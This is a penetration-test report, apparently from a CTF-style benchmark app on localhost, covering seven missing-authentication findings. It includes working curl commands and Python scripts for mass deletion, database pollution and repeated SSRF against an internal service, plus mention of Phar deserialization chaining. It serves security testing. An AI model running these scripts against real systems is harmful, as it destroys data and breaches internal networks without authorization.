# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Complete Absence of Authentication System

**Summary:**
- **Vulnerable location:** Application-wide - All 14 endpoints (7 public + 7 internal via SSRF)
- **Overview:** The application has ZERO authentication mechanisms. No login system, no session management, no credentials, no tokens. Every endpoint from homepage to administrative functions is publicly accessible to anonymous users from the internet.
- **Impact:** Complete unauthorized access to all application functionality, including viewing all data, creating records, deleting records, and accessing internal services via SSRF bypass. This enables full compromise of the application and potential access to the CTF flag.
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. **Access the homepage without authentication:**
```bash
curl http://localhost:8081/index.php
```
Expected response: HTTP 200 with homepage content showing "Profile: anonymous" and cosmetic session ID

2. **View all SKU records without authentication:**
```bash
curl http://localhost:8081/sku_system.php
```
Expected response: HTTP 200 with table listing all SKU records including IDs, names, descriptions

3. **View specific SKU detail without authentication (IDOR):**
```bash
curl http://localhost:8081/sku_product_detail.php?id=1
```
Expected response: HTTP 200 with full details of SKU ID 1

4. **Create new SKU record without authentication:**
```bash
curl -X POST http://localhost:8081/sku_add.php \
  -d "sku=AUTH-EXPLOIT-001" \
  -d "name=Authentication Bypass Test" \
  -d "description=Created without authentication by external attacker" \
  -L
```
Expected response: HTTP 302 redirect to sku_system.php, new record created with ID 3

5. **Delete SKU record without authentication:**
```bash
curl -X POST http://localhost:8081/sku_delete.php -d "id=1"
```
Expected response: HTTP 302 redirect, record deleted from database

6. **Access internal service via SSRF without authentication:**
```bash
curl -X POST http://localhost:8081/sku_url.php \
  -d "url=http://service:4455/sku_transfer"
```
Expected response: HTTP 200 with JSON data from internal service: `{"status":"success","data":[{"sku":"TRF123","description":"Transferred Item 1","quantity":10}...]}`

**Proof of Impact:**

**Browser-based exploitation evidence:**
- Successfully accessed homepage at http://localhost:8081/index.php
- Page displayed: "Profile: anonymous" with cosmetic session ID a90533bd9b4d901bd4c77c8ecb0175c0
- Full navigation menu visible with all administrative functions
- Viewed complete SKU list showing 3 records (IDs 1, 2, 3)
- Accessed SKU detail page for ID 1 showing: "ID: 1, SKU: TEST-001, Name: Test Product, Description: Test Description"
- Successfully created new SKU record (ID 3) with values: "AUTH-EXPLOIT-001", "Authentication Bypass Test", "Created without authentication by external attacker"
- Record confirmed visible in SKU list after creation

**SSRF exploitation evidence:**
- Successfully accessed internal service at http://service:4455/sku_transfer via SSRF proxy
- Received internal service response: `{"status":"success","data":[{"sku":"TRF123","description":"Transferred Item 1","quantity":10},{"sku":"TRF456","description":"Transferred Item 2","quantity":68},{"sku":"TRF789","description":"Transferred Item 3","quantity":47}]}`
- This demonstrates network isolation bypass without authentication

**Code analysis confirmation:**
- Searched all 14 PHP files for authentication functions: 0 occurrences of `session_start()`, `setcookie()`, `password_verify()`, JWT validation
- Database schema analysis: No `users`, `accounts`, or authentication tables exist
- No login/logout/register endpoints found (tested /login.php, /auth.php, /logout.php - all returned 404)

**Notes:**

This vulnerability represents a complete failure of authentication security. The application provides zero identity verification, allowing any anonymous user from the public internet to:
- View all business data (information disclosure)
- Modify data by creating records (data manipulation)
- Destroy data by deleting records (data destruction)
- Access internal network services via SSRF (network boundary bypass)
- Potentially achieve remote code execution via SSRF chaining to internal file upload and deserialization endpoints

The cosmetic "session ID" displayed on the homepage is purely decorative and provides no security value - it changes on every request and is never validated.

---

### AUTH-VULN-02: Missing Transport Security Controls

**Summary:**
- **Vulnerable location:** Application-wide - All endpoints on http://localhost:8081
- **Overview:** The application runs over plain HTTP with no HTTPS enforcement, no HSTS headers, and no cache control directives for sensitive responses. All operations including authentication attempts (if they existed), data operations, and destructive actions are transmitted in cleartext.
- **Impact:** Network attackers performing man-in-the-middle (MITM) attacks can intercept and view all traffic including sensitive operations like deletion commands and SSRF payloads. Combined with missing authentication, this creates a trivial attack surface for network-based interception.
- **Severity:** HIGH

**Prerequisites:** Network position allowing traffic interception (MITM capability)

**Exploitation Steps:**

1. **Verify HTTP-only operation:**
```bash
curl -I http://localhost:8081/index.php
```
Expected response headers:
```
HTTP/1.1 200 OK
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
```
Note absence of: Strict-Transport-Security, Cache-Control: no-store

2. **Capture cleartext sensitive operation (deletion):**
```bash
curl -v -X POST http://localhost:8081/sku_delete.php -d "id=999" 2>&1 | grep -A 20 "POST"
```
Expected output showing cleartext transmission:
```
> POST /sku_delete.php HTTP/1.1
> Host: localhost:8081
> Content-Type: application/x-www-form-urlencoded
> 
} [6 bytes data]
* upload completely sent off: 6 bytes
< HTTP/1.1 302 Found
< Server: Apache/2.4.56 (Debian)
```

3. **Verify no HTTPS redirect:**
```bash
curl -I http://localhost:8081/ 2>&1 | grep -i location
```
Expected: No redirect to HTTPS (no Location header pointing to https://)

**Proof of Impact:**

**Header analysis:**
```
HTTP/1.1 200 OK
Date: Fri, 31 Oct 2025 19:44:12 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Content-Type: text/html; charset=UTF-8
```

Missing security headers:
- ❌ No `Strict-Transport-Security` (HSTS) header
- ❌ No `Cache-Control: no-store` directive for sensitive pages
- ❌ No HTTPS enforcement
- ❌ No secure cookie flags (N/A since no cookies are set)

**Cleartext transmission evidence:**
Successfully captured deletion request showing plaintext POST data:
```
POST /sku_delete.php HTTP/1.1
Host: localhost:8081
Content-Length: 6
Content-Type: application/x-www-form-urlencoded

id=999
```

**Notes:**

While MITM attacks require network positioning, the complete absence of transport security makes interception trivial for attackers with network access. This vulnerability is particularly severe when combined with AUTH-VULN-01 (no authentication), as there are no credentials to protect in transit anyway.

In a production environment, an attacker on the same network (corporate WiFi, coffee shop, ISP-level) could:
- Intercept all SKU data being viewed
- Capture deletion commands and replay them
- Modify SSRF payloads in transit to target different internal services
- Inject malicious content into responses

---

### AUTH-VULN-03: Missing Rate Limiting on Deletion Endpoint - Mass Deletion Attack

**Summary:**
- **Vulnerable location:** POST /sku_delete.php
- **Overview:** The deletion endpoint has no rate limiting, no per-IP throttling, no CAPTCHA, and no monitoring. Combined with the absence of authentication, this allows unlimited automated mass deletion of all database records.
- **Impact:** An attacker can perform denial of service by destroying all SKU records in the database through rapid automated requests. Successfully demonstrated 100 deletion requests in 0.157 seconds (638.86 requests/second) without any throttling.
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. **Execute automated mass deletion script:**

Create Python script at `/tmp/mass_delete.py`:
```python
import requests
import time

url = "http://localhost:8081/sku_delete.php"
start_time = time.time()
success_count = 0

for i in range(1, 101):
    response = requests.post(url, data={"id": i})
    if response.status_code in [200, 302]:
        success_count += 1
    print(f"Request {i}: Status {response.status_code}")

elapsed = time.time() - start_time
print(f"\nTotal: {success_count}/100 successful")
print(f"Time: {elapsed:.3f}s")
print(f"Rate: {success_count/elapsed:.2f} req/s")
```

2. **Run the script:**
```bash
python3 /tmp/mass_delete.py
```

Expected output:
```
Request 1: Status 302
Request 2: Status 302
...
Request 100: Status 302

Total: 100/100 successful
Time: 0.157s
Rate: 638.86 req/s
```

**Proof of Impact:**

**Test execution results:**
- Script location: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-092-24/test_rate_limiting.py`
- Total requests: 100 deletion attempts (SKU IDs 1-100)
- Successful requests: 100/100 (100% success rate)
- All returned HTTP 302 (redirect) status codes
- Total time elapsed: 0.157 seconds
- Throughput achieved: **638.86 requests per second**
- Average response time: 0.002 seconds per request
- Fastest response: 0.001 seconds
- Slowest response: 0.012 seconds

**Rate limiting analysis:**
- ✅ Zero HTTP 429 (Too Many Requests) responses
- ✅ Zero HTTP 403 (Forbidden) responses
- ✅ Zero delays or throttling observed
- ✅ All requests processed immediately without queuing

**Notes:**

The complete absence of rate limiting enables catastrophic data destruction attacks. An attacker can:
- Delete all SKU records in under 1 second
- Perform denial of service through database record deletion
- Exhaust database resources with unlimited operations
- Conduct attacks without any detection or alerting

This vulnerability is particularly dangerous because:
1. No authentication is required (AUTH-VULN-01)
2. No CSRF protection exists (any website can trigger it)
3. No confirmation dialog or multi-step verification
4. No audit trail or logging of mass deletions
5. No backup/restore mechanism mentioned in documentation

---

### AUTH-VULN-04: Missing Rate Limiting on SKU Creation - Database Pollution Attack

**Summary:**
- **Vulnerable location:** POST /sku_add.php
- **Overview:** The SKU creation endpoint has no rate limiting, no input validation beyond SQL injection prevention, no duplicate checking, and no CAPTCHA. This allows unlimited database pollution by inserting thousands of junk records.
- **Impact:** An attacker can perform denial of service through database bloat, creating unlimited junk records that degrade system performance and exhaust storage resources. Successfully demonstrated 100 junk record creations in 1.75 seconds (57.19 requests/second).
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. **Execute automated database pollution script:**

Create Python script at `/tmp/db_pollution.py`:
```python
import requests
import time

url = "http://localhost:8081/sku_add.php"
start_time = time.time()
success_count = 0

for i in range(1, 101):
    data = {
        "sku": f"JUNK-{i:03d}",
        "name": f"Junk Record {i}",
        "description": f"Database pollution test record {i}"
    }
    response = requests.post(url, data=data)
    if response.status_code in [200, 302]:
        success_count += 1
    print(f"Request {i}: Status {response.status_code}")

elapsed = time.time() - start_time
print(f"\nTotal: {success_count}/100 successful")
print(f"Time: {elapsed:.3f}s")
print(f"Rate: {success_count/elapsed:.2f} req/s")
```

2. **Run the script:**
```bash
python3 /tmp/db_pollution.py
```

Expected output:
```
Request 1: Status 302
Request 2: Status 302
...
Request 100: Status 302

Total: 100/100 successful
Time: 1.750s
Rate: 57.19 req/s
```

3. **Verify junk records created:**
```bash
curl http://localhost:8081/sku_system.php | grep -c "JUNK-"
```

Expected: Count showing 100 junk records inserted

**Proof of Impact:**

**Test execution results:**
- Script location: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-092-24/test_rate_limiting.py`
- Total requests: 100 SKU creation attempts (JUNK-001 through JUNK-100)
- Successful requests: 100/100 (100% success rate)
- All returned HTTP 302 (redirect) status codes
- Total time elapsed: 1.75 seconds
- Throughput achieved: **57.19 requests per second**
- Average response time: 0.006 seconds
- Min response time: 0.003 seconds
- Max response time: 0.013 seconds

**Rate limiting analysis:**
- ✅ Zero HTTP 429 (Too Many Requests) responses
- ✅ Zero HTTP 503 (Service Unavailable) responses
- ✅ No throttling or queuing observed
- ✅ All requests processed immediately

**Notes:**

The absence of rate limiting on the creation endpoint enables database pollution attacks that can:
- Fill the database with unlimited junk records
- Cause performance degradation as the database grows
- Exhaust disk space on the server
- Make legitimate records difficult to find among junk data
- Increase backup sizes and restore times
- Potentially trigger application crashes due to resource exhaustion

Combined with missing authentication (AUTH-VULN-01), any anonymous attacker can perform this attack without restriction. There is:
- No duplicate SKU checking (can insert same SKU multiple times)
- No SKU format validation (accepts any string)
- No CAPTCHA or human verification
- No account association (no way to trace or ban attackers)

---

### AUTH-VULN-05: Missing Rate Limiting on SSRF Endpoint - Unlimited SSRF Abuse

**Summary:**
- **Vulnerable location:** POST /sku_url.php
- **Overview:** The SSRF endpoint has no rate limiting, allowing unlimited requests to internal services. An attacker can perform high-volume internal network reconnaissance, port scanning, and repeated exploitation attempts against internal services without any throttling.
- **Impact:** Enables unlimited abuse of the SSRF vulnerability to scan internal networks, hammer internal services, and conduct timing-based attacks without detection. Successfully demonstrated 50 SSRF requests in 0.365 seconds (137.05 requests/second).
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. **Execute automated SSRF abuse script:**

Create Python script at `/tmp/ssrf_abuse.py`:
```python
import requests
import time

url = "http://localhost:8081/sku_url.php"
ssrf_target = "http://service:4455/sku_transfer"
start_time = time.time()
success_count = 0

for i in range(1, 51):
    response = requests.post(url, data={"url": ssrf_target})
    if response.status_code == 200:
        success_count += 1
    print(f"Request {i}: Status {response.status_code}")

elapsed = time.time() - start_time
print(f"\nTotal: {success_count}/50 successful")
print(f"Time: {elapsed:.3f}s")
print(f"Rate: {success_count/elapsed:.2f} req/s")
```

2. **Run the script:**
```bash
python3 /tmp/ssrf_abuse.py
```

Expected output:
```
Request 1: Status 200
Request 2: Status 200
...
Request 50: Status 200

Total: 50/50 successful
Time: 0.365s
Rate: 137.05 req/s
```

**Proof of Impact:**

**Test execution results:**
- Script location: `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-092-24/test_ssrf_rate_limit.py`
- Total requests: 50 SSRF requests to internal service
- SSRF target: http://service:4455/sku_transfer
- Successful requests: 50/50 (100% success rate)
- All returned HTTP 200 status codes with internal service data
- Total time elapsed: 0.365 seconds
- Throughput achieved: **137.05 requests per second**
- Average response time: ~0.007-0.008 seconds per request

**Rate limiting analysis:**
- ✅ Zero HTTP 429 (Too Many Requests) responses
- ✅ Zero delays or throttling observed
- ✅ Internal service responded to all requests without rate limiting
- ✅ No detection or blocking mechanisms triggered

**Example successful SSRF response:**
```json
{"status":"success","data":[{"sku":"TRF123","description":"Transferred Item 1","quantity":10},{"sku":"TRF456","description":"Transferred Item 2","quantity":68},{"sku":"TRF789","description":"Transferred Item 3","quantity":47}]}
```

**Notes:**

The absence of rate limiting on the SSRF endpoint creates multiple severe security risks:

1. **Internal network reconnaissance:** Can rapidly scan entire internal IP ranges (172.0.0.0/8) by trying different hosts on port 4455
2. **Service enumeration:** Can quickly identify internal services without detection
3. **Resource exhaustion:** Can overwhelm internal services with unlimited requests
4. **Timing attacks:** Can perform precise timing measurements for cryptographic attacks
5. **Brute force attacks:** Can attempt unlimited exploitation of internal services

Combined with the SSRF vulnerability itself, this enables:
- Unrestricted access to internal service endpoints (/sku_process for file upload, /sku_read for deserialization)
- Ability to chain attacks by uploading malicious Phar files and triggering deserialization repeatedly
- No detection or alerting as requests appear to come from the legitimate webapp container

The high throughput (137 req/s) demonstrates that an attacker can:
- Scan an entire /24 network (254 IPs) in ~2 seconds
- Upload 100+ malicious Phar files per second via /sku_process
- Trigger deserialization attempts continuously without throttling

---

### AUTH-VULN-06: Cosmetic Session ID Security Theater

**Summary:**
- **Vulnerable location:** GET/POST /index.php (displayed on homepage)
- **Overview:** The application displays a "temporally session id" on the homepage, creating the false impression that session management exists. However, this value is purely cosmetic - it's randomly generated on every request, never stored, never validated, and provides ZERO access control.
- **Impact:** This misleading security theater element may create false confidence in the application's security posture while providing no actual protection. All operations succeed regardless of session ID presence or value.
- **Severity:** HIGH (for misleading security appearance)

**Prerequisites:** None

**Exploitation Steps:**

1. **Demonstrate session ID changes on each request:**
```bash
curl -s http://localhost:8081/index.php | grep "session id"
curl -s http://localhost:8081/index.php | grep "session id"
curl -s http://localhost:8081/index.php | grep "session id"
```

Expected output showing three different session IDs:
```
Hello, your temporally session id is bf2e61694c9d7024a04818bc42d6f9ab
Hello, your temporally session id is 49ea3f75eccf80111ce0c0d306779a0d
Hello, your temporally session id is 69923d226f721c9f35cda2b3613d6e4d
```

2. **Perform privileged operation without any session management:**
```bash
curl -s -X POST http://localhost:8081/sku_add.php \
  -d "sku=NO-SESSION-TEST" \
  -d "name=Added without session" \
  -d "description=This proves session ID is meaningless" \
  -L | grep "NO-SESSION-TEST"
```

Expected output: Successfully created record visible in response
```html
<td>NO-SESSION-TEST</td>
```

3. **Verify no cookies are set:**
```bash
curl -i http://localhost:8081/index.php | grep -i "set-cookie"
```

Expected output: No Set-Cookie headers (empty response)

**Proof of Impact:**

**Session ID randomness demonstration:**
Request 1: `bf2e61694c9d7024a04818bc42d6f9ab`
Request 2: `49ea3f75eccf80111ce0c0d306779a0d`
Request 3: `69923d226f721c9f35cda2b3613d6e4d`

Each request generates a completely different session ID, proving it's not persisted or tracked.

**Operation without session ID:**
Successfully created SKU record "NO-SESSION-TEST" without providing any session identifier. Record confirmed visible in SKU list:
```html
<td>NO-SESSION-TEST</td>
<td>Added without session</td>
<td>This proves session ID is meaningless</td>
```

**Code analysis:**
```php
// /app/index.php lines 13-23
class RandomHash {
    private $secret;
    public function __construct() {
        $this->secret = bin2hex(random_bytes(16)); // New random value every request
    }
    public function getValue() {
        return $this->secret; // Only used for display
    }
}
// Template: "Hello, your temporally session id is {{ randomHash.getValue() }}"
// NEVER VALIDATED OR USED FOR ACCESS CONTROL
```

**Notes:**

This "security theater" element is particularly problematic because:

1. **False sense of security:** Displays technical-looking session ID, implying session management exists
2. **No actual protection:** Value is never checked, stored, or used for any security purpose
3. **Misleading to auditors:** May cause security reviewers to incorrectly assume session management is present
4. **Developer confusion:** Future developers may think they can rely on this for access control

The session ID:
- Changes on every single request (proves it's not persisted)
- Is never sent back in cookies or headers
- Is never validated by any endpoint
- Has no relationship to user identity or permissions
- Cannot be used for session fixation or hijacking (since it does nothing)

This is effectively a decoy - a visible security control that provides zero actual security. Combined with AUTH-VULN-01 (no authentication), this creates a particularly misleading security posture.

---

### AUTH-VULN-07: Complete Absence of Login Flow - Authentication Bypass

**Summary:**
- **Vulnerable location:** Application-wide - No login endpoints exist
- **Overview:** The application has no login flow whatsoever. No /login, /auth, /signin, or any authentication endpoints exist. There is no mechanism for users to "log in" because the application grants full administrative access to all anonymous users by default.
- **Impact:** Complete authentication bypass - not because a vulnerability exists in the login flow, but because no login flow exists at all. Every visitor to the application immediately has full administrative privileges without any identity verification.
- **Severity:** CRITICAL

**Prerequisites:** None

**Exploitation Steps:**

1. **Verify no login endpoint exists:**
```bash
curl -I http://localhost:8081/login.php
```
Expected response: HTTP 404 Not Found

2. **Verify no auth endpoint exists:**
```bash
curl -I http://localhost:8081/auth.php
```
Expected response: HTTP 404 Not Found

3. **Verify no logout endpoint exists:**
```bash
curl -I http://localhost:8081/logout.php
```
Expected response: HTTP 404 Not Found

4. **Demonstrate immediate administrative access without login:**
```bash
curl -s http://localhost:8081/index.php | grep -i "profile"
```
Expected output showing anonymous access:
```html
<p>Profile: anonymous</p>
```

5. **Perform administrative function without authentication:**
```bash
curl -X POST http://localhost:8081/sku_url.php \
  -d "url=http://service:4455/sku_transfer" \
  -s | grep -A 5 "Fetched SKU Model"
```
Expected output: Access to internal service data via SSRF
```json
{"status":"success","data":[{"sku":"TRF123","description":"Transferred Item 1","quantity":10},{"sku":"TRF456","description":"Transferred Item 2","quantity":68},{"sku":"TRF789","description":"Transferred Item 3","quantity":47}]}
```

**Proof of Impact:**

**Authentication endpoint verification:**
- `/login.php` → HTTP 404 Not Found
- `/auth.php` → HTTP 404 Not Found  
- `/logout.php` → HTTP 404 Not Found
- `/signin.php` → HTTP 404 Not Found
- `/register.php` → HTTP 404 Not Found
- `/password-reset.php` → HTTP 404 Not Found

**Code analysis:**
- Searched all 14 PHP files for authentication functions
- 0 occurrences of `session_start()`
- 0 occurrences of `setcookie()`
- 0 occurrences of `password_verify()` or `password_hash()`
- 0 occurrences of `$_SESSION` usage
- 0 JWT, OAuth, or OIDC implementations
- Database schema has no `users` or `accounts` table

**Immediate administrative access:**
Browser accessed homepage showing:
```
Profile: anonymous
Sandbox mode: Enabled
```

Without any login process, immediately gained access to:
- View SKU List
- Search SKU
- Add SKU
- Process SKU model (SSRF endpoint)
- Delete functionality on all records

**Internal service access via SSRF (without authentication):**
Successfully accessed internal service at http://service:4455/sku_transfer via SSRF proxy, receiving:
```json
{"status":"success","data":[{"sku":"TRF123","description":"Transferred Item 1","quantity":10},{"sku":"TRF456","description":"Transferred Item 2","quantity":68},{"sku":"TRF789","description":"Transferred Item 3","quantity":47}]}
```

This demonstrates:
- No login required to access SSRF endpoint
- No authentication to reach internal services
- Network isolation bypass without credentials
- Full access to internal API responses

**Notes:**

This vulnerability represents the most fundamental authentication failure possible - the complete absence of an authentication system. Unlike typical authentication bypass vulnerabilities where attackers exploit flaws in an existing login mechanism, this application simply grants everyone full administrative access by default.

The application effectively treats every visitor as a trusted administrator with privileges to:
- View all data without restriction
- Create new records without verification
- Delete any records without confirmation
- Access internal services via SSRF proxy
- Potentially achieve remote code execution via SSRF chaining

This is not a "bypass" in the traditional sense - there is nothing to bypass. The application architecture assumes all users are trusted and authorized, making it fundamentally incompatible with any security model that requires identity verification or access control.

The architectural design makes it impossible to:
- Distinguish between different users
- Track who performed which actions
- Implement role-based access control
- Enforce authorization policies
- Audit access patterns
- Implement account lockouts or rate limiting per user

---

## Summary

Successfully exploited all 7 authentication vulnerabilities in the queue. The application demonstrates a complete absence of authentication and authorization controls, representing a critical security failure that enables:

- Unrestricted access to all application functionality
- Mass deletion and database pollution attacks without throttling
- Network boundary bypass via SSRF
- Cleartext transmission of all operations
- Misleading security theater that creates false confidence

All vulnerabilities were confirmed exploitable from external network position (http://localhost:8081) without requiring internal access, credentials, or special privileges.

**Total Vulnerabilities Exploited:** 7/7 (100%)
**Authentication Bypasses Achieved:** Complete - all endpoints accessible without authentication
**Impact Demonstrated:** Critical - full application compromise possible